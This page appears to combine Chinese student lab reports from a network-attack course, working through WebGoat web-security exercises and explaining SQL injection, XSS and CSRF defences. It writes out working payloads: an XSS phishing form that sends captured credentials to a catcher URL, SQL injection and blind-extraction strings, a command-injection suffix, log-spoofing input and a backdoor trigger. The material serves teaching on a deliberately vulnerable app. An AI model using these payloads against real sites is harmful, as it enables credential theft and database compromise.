<a name="1_1"></a> ###1.SQL注入攻击原理,如何防御?

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。

比如登录过程,SQL语句一般为:"select id from users where username = ''"+username +"'' and password = ''" + password +"''" ,这里的usernamepassword都是我们存取从web表单获得的数据。如果我们在表单中username的输入框中输入'' or 1=1-- 。此时我们所要执行的sql语句就变成了select id from users where username = '''' or 1=1-- and password = ''''。因为1=1是true,后面 and password = ''''被注释掉了。所以这里完全跳过了sql验证。

以上是最经典的一种情况。但在本次实验中,还涉及到了网页对输入字符长度的限制等等,需要修改相应的代码。

由此可见,对SQL注入攻击的防御,主要有:

  • 关闭或删除不必要的交互式提交表单页面;
  • 对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;
  • 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。

<a name="1_2"></a> ###2.XSS攻击的原理,如何防御?

攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。

一个原则:不相信用户输入的任何数据!

<a name="1_3"></a> ###3.CSRF攻击原理,如何防御?

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

防御的方法可从以下几个角度考虑:

  • 改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
  • 使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

返回目录


<a name="2"></a> ###<h1 align = "center">二.实践过程记录</h1>

<a name="2_1"></a> <font face="华文中宋" size=4 color=green>1.General</font>

<a name="2_11"></a> ###①Http Basics

★基础知识

该课目的在于了解浏览器和Web 应用程序之间数据交互的基本知识。

HTTP 是如何工作的呢?所有的HTTP 传输都要遵循同样的通用格式(需要使用IEWatch或WebScarab 类插件协助进行学习)。每个客户端的请求和服务端的响应都有三个部分:请求或响应行、一个报头部分和实体部分。客户端以如下方式启动一个交互:

客户端连接服务器并发送一个文件请求:

GET /index.html?param=value HTTP/1.0

接下来,客户端发送可选头信息,告知接收服务器其配置和文件格式:

User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*

发送请求和报头之后,客户端可以发送更多的数据。该数据主要用于使用POST方法的CGI程序。

★操作方法

Step 1:使用sudo apt-get install webscarab命令安装WebScarab,用来修改编辑http消息等。打开webscarab。

Step 2:WebScarab有两种显示模式:Lite interfacefull-featured interface,可在Tools菜单下进行模式切换,需要重启软件生效,修改http请求信息需要在full-featured interface下进行。

Step 3:点击Proxy标签页->Listeners标签页,输入url和端口号等,添加listener。

Step 4:点击Proxy标签页->Manual Edit标签页, 选中Intercept requests

Step 5:在浏览器中(以Firefox为例),点击Open menu->Preferences->Advanced->Network选项卡,选择右边Settings...进行设置,增加一个localhost代理:

修改后重启Firefox生效。

Step 6:在输入框输入姓名,点击Go!,可以在WebScarab中看到提交的http请求:

返回目录

<a name="2_3"></a> <font face="华文中宋" size=4 color=green>2.Code Quality</font>

<a name="2_31"></a> ###①Discover Clues in the HTML

★基础知识

众所周知,很多开发者喜欢在源代码中保存FIXME''s、Code Broken、Hack 等语句。通过审查源代码中的相关注释往往能找到密码、后门及一些潜在的问题。

浏览器工具菜单中“view source”功能可以查看网页HTML 源代码。

★操作方法

在当前页面按F12,选择“Inspect...”。搜索FIXME可看到有关用户名和密码的记录:

admin/adminpw就是我们需要的登录名和密码。

返回目录

<a name="2_4"></a> <font face="华文中宋" size=4 color=green>3.Cross-Site Scripting(XSS)</font>

<a name="2_41"></a> ###①Phishing with XSS

★基础知识

在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

总体目标是,创建一个form,要求填写用户名和密码。

★操作方法

Step 1:一个带用户名和密码输入框的表格如下所示:

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>

搜索这段代码,可以看到页面中增加了一个表单:

Step 2:还需要一段脚本:

<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

这段代码会读取在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。

Step 3:最后,就是要将这两段代码合并。最终需要输入的代码如下:

<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>

搜索这段代码,出现用户名和密码的填写界面:

填写并登录,WebGoat会反馈输入的信息:

<a name="2_42"></a> ###②Stored XSS Attacks

★基础知识

输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制作一个URL 并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。

在这个练习中,我们尝试执行存储型跨站脚本攻击。

★操作方法

在Message中构造语句<script>alert("20155303 attack succeed!");</script>,Title任意。提交后可发现刚创建的帖子test5303:

返回目录

<a name="2_5"></a> <font face="华文中宋" size=4 color=green>4.Injection Flaws</font>

<a name="2_51"></a> ###①Command Injection

★基础知识

命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。

这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。

★操作方法

Step 1:按F12进入调试界面,选择Inspect...对源代码进行修改。

Step 2:例如在BackDoors.help后面加上"& netstat -an & ipconfig"

Step 3:点击View,可看到命令的输出结果:

<a name="2_52"></a> ###②Numberic SQL Injection

★基础知识

在station 字段中注入特征字符,能组合成新的SQL 语句。

SELECT * FROM weather_data WHERE station = [station]

这道题的表单允许用户查看天气数据。需通过注入SQL字符串的方式查看所有的天气数据。

★操作方法

Step 1:按F12进入调试界面,选择Inspect...对源代码进行修改。

Step 2:在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1

Step 3:输出如下所示:

<a name="2_53"></a> ###③Log Spoofing

★基础知识

这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。

★操作方法

灰色区域代表在Web 服务器的日志中的记录的内容。目的是使用户名为“admin”的用户在日志中显示“成功登录”。

Step 1:在文本框中输入用户名:smith Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行。

Step 2:可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin,以达到修改日志的目的:

Step 3:攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>作为用户名输入。

<a name="2_54"></a> ###④XPATH Spoofing

★基础知识

与SQL注入类似,XPATH注入发生在当网站使用用户提供的信息查询XML 数据时。通过向网站故意发送异常信息,攻击者可以发现XML数据的结构或访问那些本来无法访问到的数据。如果该XML是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提升自己在网站中的特权。使用XPATH查询XML,通过一个简单的描述性语句类型,允许XML查询,找到一条信息。像SQL一样,可以指定找到的某些属性与模式匹配。

当一个网站中使用XML,它是普遍接受某种形式的输入,查询字符串,找到并将标识的内容显示在页面上。此类输入必须进行清洗,以验证它不会影响XPATH 的查询,并返回错误数据。

★操作方法

本题目的表单允许员工看到自己的所有个人资料,包括他们的薪酬。

XPATH 注入类似于SQL 注入。通过未验证的输入创建一个XPATH 查询。以下代码展示了如何构建一个XPATH 查询:

String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()=''" + username + "'' and passwd/text()=''" +
password + "'']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

在用户名处注入Smith'' or 1=1 or ''a''=''a,这将会显示登录系统的第一个用户。密码是必须的字段,可以任意输入。

以下是服务器获取的:

expression = "/employees/employee[loginID/text()=''Smith'' or 1=1 or ''a''=''a'' and passwd/text()=''password'']"

服务器解析后:

expression = "/employees/employee[ ( loginID/text()=''Smith'' or 1=1 ) OR ( ''a''=''a'' and passwd/text()=''password'' ) ]"

输入后点“登录”可看到其他人的信息:

<a name="2_55"></a> ###⑤LAB:SQL Injection

★操作方法

Step 1:以用户Neville登录,在密码栏中输入'' or 1=1 --进行SQL注入,登录失败。

Step 2:查看网页源代码,发现对输入长度进行了限制。改为100,再进行注入,成功:

<a name="2_56"></a> ###⑥String SQL Injection

★基础知识

基于以下查询语句构造自己的SQL 注入字符串。 SELECT * FROM user_data WHERE last_name = ''?''

★操作方法

本题的表格,允许用户查看他们的信用卡号码。尝试通过SQL 注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。

输入以下代码即可完成:

’ or 1=1 --
// 或者
Smith'' or 1=1 --

如下图所示:

<a name="2_57"></a> ###⑦Database Backdoors

★基础知识

数据库通常作为一个Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert, select, update or delete。

举个例子:攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。

★操作方法

Step 1:输入101,得到该用户的信息:

可以发现,输入的语句没有验证,很容易进行 SQL 注入。

Step 2:若要执行两个语句,中间需要用分号分隔。输入注入语句101; update employee set salary=10000

Step 3:若设置触发器,可使用以下查询条件:

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=''john@hackme.com'' WHERE userid = NEW.userid

由于WebGoat 使用的是MySQL数据库,不支持触发器,因此以上并不能在这里真正实现。

<a name="2_58"></a> ###⑧Blind Numberic SQL Injection

★基础知识

某些SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

★操作方法

Step 1:,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:

SELECT * FROM user_data WHERE userid=accountNumber;

如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。

Step 2:使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式:

101 AND 1=1
101 AND 1=2

在第一条语句中,两个条件都成立,所以页面返回帐号有效。而第二条则返回帐号无效。

Step 3:

现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于10000:

101 AND ((SELECT pin FROM pins WHERE cc_number=''1111222233334444'') > 10000 );

如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000。

Step 4:

不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:

101 AND ((SELECT pin FROM pins WHERE cc_number=''1111222233334444'') = 2364 );

Step 5:在查询框中输入2364 并提交:

<a name="2_59"></a> ###⑨Blind String SQL Injection

★操作方法

目标是找到 pins 表中cc_number 字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。

本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=''4321432143214321''), 1, 1) < ''H'' );

该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法如下:

SUBSTRING(STRING,START,LENGTH)

经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=''4321432143214321''), 2, 1) < ''h'' );

最终,判断出pin字段的值为:Jill。提交改值:

返回目录


<a name="3"></a> ###<h1 align = "center">三.实践总结及体会</h1>

本次实验在Webgoat平台上进行,不需要过于复杂的环境配置过程,每一个小实验测试的知识点也都非常明了。比如Injection Flaws中有很多关于注入的小实验,不同的实验侧重不同的考察点。不管是命令注入、日志欺骗,还是数据库后门,都让我在实践中对理论有了更加深刻地理解。除此之外,在实践的过程中,我参考了WebGoat官方的使用手册,其中对于每一个小实验的原理都介绍得非常清楚。在官方手册的指导下顺利完成了本次实验。

九次实验到此就算圆满结束啦,撒花ᖗ( ᐛ )ᖘ

这学期延续了之前“自学+实践+博客总结”的模式,有了前一年的基础和养成的习惯,这学期因此能较快适应。总的来说收获很大,虽然只是些网络攻防的入门实践,但涉及到的方面非常广,让我们了解到了各个领域可能存在的攻击。“师傅领进门,修行靠个人”吧,这门课程短暂的一学期学习时间不可能对所有的最新攻击面面俱到,能掌握方法才是最重要的。

是结束也是开始,预祝同学们在这门课程中都取得满意的成绩୧( "̮ )୨✧ᐦ

返回目录


<a name="4"></a> ###<h1 align = "center">附:参考资料</h1>

  • 总结 XSS 与 CSRF 两种跨站攻击
  • Web安全测试-WebScarab
  • Fiddler拦截http请求修改数据

2017-2018-2 《网络对抗技术》20155322 Exp9 web安全基础

2017-2018-2 《网络对抗技术》20155322 Exp9 web安全基础

<span id = "jump1">1-实践目标</span>

<span id = "jump1-1">1.1-web安全基础</span>

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

返回目录

<span id = "jump1-2">1.2-实践内容</span>

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

返回目录

<span id = "jump1-3">1.3-实践要求</span>

  • 基础问题回答
    • SQL注入攻击原理,如何防御
    • XSS攻击的原理,如何防御
    • CSRF攻击原理,如何防御
  • 实验总结与体会
  • 实践过程记录
  • 报告评分 1.5分
    • 报告整体观感 0.5分
    • 报告格式范围,版面整洁 加0.5。
    • 报告排版混乱,加0分。
  • 文字表述 1分
    • 报告文字内容非常全面,表述清晰准确 加1分。
    • 报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
    • 报告逻辑混乱表述不清或文字有明显抄袭可能 加0分

返回目录

<span id = "jump2">2-实践过程</span>

首先安装webgoat: github地址 找最新的sever版本,我安装的是8.0.0.M15 在kali中安装,输入java -jar webgoat-server-8.0.0.M14.jar 安装之前check一下有没有安装Java和Tomcat。 新版本需要注册一个账号,自己注册吧: 注册成功之后就可以使用了:

<span id = "jump2-1">2.1 HTML</span>

下面我们开始练习,查看到第一部分HTML,需要安装一个ZAP扫描器,我们安装一下,反正是免费的: 安装Linux installer: 下载后是个sh文件,直接sh xxx.sh,安装完毕。 安装完成之后需要进行设置: 首先是zap->tools->options->local proxies,将端口改成8090; 然后是浏览器Firefox,进入preferences->advanced->network->connection->settings->Manual proxy configuration: 输入127.0.0.1->8090->勾选Use this proxy server for all protocols 注意,继续往下拉会有一个no proxy for选项,里面有127.0.0.1和localhost这两个东西,表示这两个地址不用代理,这肯定是不行的,因为我们的webgoat就是在这里通信的,所以一定要把这俩删掉。 下面进行测试,我们打开zap,点击标签页的“+”,新增一个break,进入general->http proxy->(5)Intercept and modify a request 我们点开小绿点(具体怎么用教程里面会有,我就不赘述了),再点击网页上的submit: 按照要求修改拦截的HTTP报头:

  • Change the Method to GET
  • Add a header ''x-request-intercepted:true''
  • Change the input value ''changeMe'' to ''Requests are tampered easily'' (without the single quotes)

大概的意思就是,改为post方法,加一条x-request-intercepted:true,然后吧changeMe的值改成Requests are tampered easily,如图: 注意:

  • 改post方法之后,changeMe变量会跑到URL中,你就得在URL中修改,所以建议先改第二项x-request-intercepted:true,就找个地方插进去。
  • 然后''Requests are tampered easily''没有空格和单引号,用+号连接,如changeMe=Requests+are+tampered+easily,正确的格式会让字符变成橙色(如果还是post方法的话)
  • 做完以上之后再将method改成GET,这样就OK了,点击右上角的播放键(绿色的按钮)

成功的话如图: 这就是一个最简单的HTTP报头修改方法。 既然在这里用了代理,我们在做一个使用代理的练习:Insecure Login 他的目的很简单,就是告诉我们:

  • The user should have a basic understanding of packet sniffer usage
  • The user will be able to intercept and read an unencrypted requests

具体操作就是,点击小绿点,然后点网页的submit,然后ZAP就会把拦截的HTTP报头显示出来,成功的话如下:

返回目录

<span id = "jump2-2">2.2 Injection Flaws</span>

下面是SQL注入时间。SQL注入一般的目的是:

  • 读取和修改数据库中的敏感数据
  • 执行数据库管理员操作
    • 关闭审计或DBMS
    • 截获表格和日志
    • 添加用户
  • 恢复DBMS文件系统中给定文件的内容
  • 列出操作系统的指令

下面是提供的两个例子:

#Potential String Injection    字符串型注入
"select * from users where name = ''" + userName + "''";

#Potential Numeric Injection 字符型注入
"select * from users where employee_id = "  + userID;

更详细的例子,如攻击者注入:userName = Smith'' or ''1'' = ''1 那么服务器可能会执行:select * from users where name=''Smith'' or ''1''=''1'' 相当于执行了一个永真式:select * from users where name=''Smith'' or TRUE 这样相当于把users表里面的所有数据都查询并输出了。

好的,说明结束,我们开始做题:

String SQL Injection

The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating strings making it susceptible to String SQL injection: "select * from users where name = ‘" + userName + "''"; Using the form below try to retrieve all the users from the users table. You shouldn’t need to know any specific user name to get the complete list, however you can use ''Smith'' to see the data for one user. 由题可知,查询SQL语句为:"select * from users where name = ‘" + userName + "''";,那么我们应该设计一种永真式,使得查询的对象变成整个users表,需要注意的是构造注入的是字符串,我的构造如下: 成功!

Numeric SQL Injection

The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection: "select * from users where employee_id = " + userID; Using the form below try to retrieve all the users from the users table. You shouldn’t need to know any specific user name to get the complete list, however you can use ''101'' to see the data for one user. 这里需要使用数字来构成注入,题干中提示,我们可以使用''101'' to see the data for one user,所以我的构造如下: 成功!

SQL Injection (advanced)

这个题主要让我们学会:Combining SQL Injection Techniques(组合注入)Blind SQL injection(盲注) 提示了我们一些小诀窍:

#1 关于注释
/* */ 	 are inline comments
-- , # 	 are line comments
Example: Select * from users where name = ''admin'' --and pass = ''pass''

#2 关于多句查询
;        allows query chaining
Example: Select * from users; drop table users;

#3 关于字符串串接&无引用字符串
'',+,||	 allows string concatenation
Char()	 strings without quotes
Example: Select * from users where name = ''+char(27) or 1=1
//这个例子我不是很懂

下面看题:

Pulling data from other tables!

Lets try to exploit a join to another table. One of the tables in the WebGoat database is:

CREATE TABLE user_system_data (userid varchar(5) not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

6.a) Execute a query to union or join these tables. 6.b) When you have figured it out…​. What is Dave’s password? 两个提示,一个是用union查询,一个是找Dave’s password,因为是进阶,我们分析的仔细一点: 首先,我们根据建表信息,可以知道:

  1. 目标表名 user_system_data
  2. 目标列为 password 我们先输入一个人名 Smith,结果如下: 这样大概是了解了查询语句是可以查的不是user_system_data表,还是不够,继续试探,这里用一个语句试探被查的表有几列属性:order by

ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。 ORDER BY 关键字默认按照升序对记录进行排序。如果需要按照降序对记录进行排序,您可以使用 DESC 关键字。

可以用ORDER BY的功能悄咪咪一波,构造注入:Smith’ order by 10--,这里为没认真看我前面提到的注释语句的同学说明一下,--可以注释掉后面的密码输入部分。 发现报错: 说明这表的列数没超过10行,经过多次试探,我发现,这个表一共有七列,关键信息! 有了这个信息,我们可以使用union查询了:

先解释一下什么叫union查询:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

有点难读懂,反正就是查找某个表的某个东东的同时再查找另一张表的某个东东。 构造: Smith’ union select null,user_name,password,null,null,null,null from user_system_data woc!失败了,我可是照着别人的教程做的呀!(哭) 失败的尝试:

Smith’ union select null,user_name,password,null,null,null,null from user_system_data; --
Smith’ union null,user_name,password,null,null,null,null from user_system_data; --
’ union select null,user_name,password,null,null,null,null from user_system_data; --
’ union select null,user_name,password,null,null,null,null from user_system_data--
……

我拜读了一下王一帆大佬的博客发现都差不多啊? 为啥他注成功了?(他博客里的表名都打错了) 这就很难受,最后只能不用union,直接用;的多条查询语句来进行注入:''; select * from user_daa_system; -- 成功!

Have fun!:

We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons. 这道题是一个登陆&注册界面,没有任何提示,这波思路,先试试一个不存在的用户看看他是怎么回复的: 嗯,好像没有任何信息,那我们试试构造一个字符串注入:'' or ''1'' = ''1'' -- 依旧失败,这边找不到思路,我们去注册那边试试: 然后我们再使用同一条信息注册: 显示已经注册过,那么他是根据什么判断的呢?我试试同一个用户名不同的其他信息: 可以看到我输入的信息,除了用户名一样其他都不一样,结果为: 没错,他是根据username_reg这个东西查询的,那么我们构造一个永真试试能不能得到什么信息:构造retest_01′and ’1′=’1 会提示创建成功(那张图找不到了)…… 然后我们再使用retest_01′and ’1′=’1会提示: 我们使用retest_01′and ’1′=’2注意!有变化,然后提示: 啧啧啧,看来果然是个盲注。

何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类

  • 基于布尔SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

这里就不一一赘述,看这篇博客MYSQL注入天书之盲注讲解 在一片博客上看了一个布尔SQL盲注: reborn'' AND 1088=1088 AND ''DMXO''=''DMXO 试了一下,可以用来注册,但是没研究出来怎么登录,这个以后解决?现在太菜了……

返回目录

<span id = "jump2-3">2.3 XSS</span>

返回目录

<span id = "jump2-4">2.4 CSRF</span>

返回目录

<span id = "jump2-5">2.5 基础问题回答</span>

  • SQL注入攻击原理,如何防御 原理:向Web应用程序输入一段精心构造的SQL查询指令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作。 防范:输入过滤、参数化sql语句或直接使用存储过程、提供更少的错误信息
  • XXS攻击原理,如何防御 原理:由于Web应用程序的输入验证机制不完善,攻击者在服务器端网页中插入一些恶意的客户端代码,在Web服务器上产生出一些恶意攻击页面。 防范:输入验证、输出净化(对HTML标签进行转义)、消除危险输入点。提升客户端浏览器安全性。
  • CSRF攻击原理,如何防御 原理:攻击者盗用用户身份,伪造恶意请求发送给服务器,完成预期操作。 防御:通过referer、表单令牌token或验证码来检测用户提交、避免全站通用的cookie,严格设置cookie的域、不用在页面链接中暴露用户隐私信息。

返回目录

<span id = "jump3">3-参考资料&实践体会</span>

实践体会

这次实验综合性比较强啊,写的较慢……

参考资料

  • 2017-2018-2 20155303『网络对抗技术』Exp9 Web安全基础
  • MYSQL注入天书之盲注讲解
  • WebGoat源码审计之SQL注入篇 返回目录

关于2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础网络对抗技术主要包括的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于# 2019-2020-2 20175308杨元 《网络对抗技术》Exp8 Web基础、20165330《网络对抗技术》Exp0 Kali 安装、2017-2018-2 20155303『网络对抗技术』Exp9:Web安全基础、2017-2018-2 《网络对抗技术》20155322 Exp9 web安全基础等相关知识的信息别忘了在本站进行查找喔。

本文标签: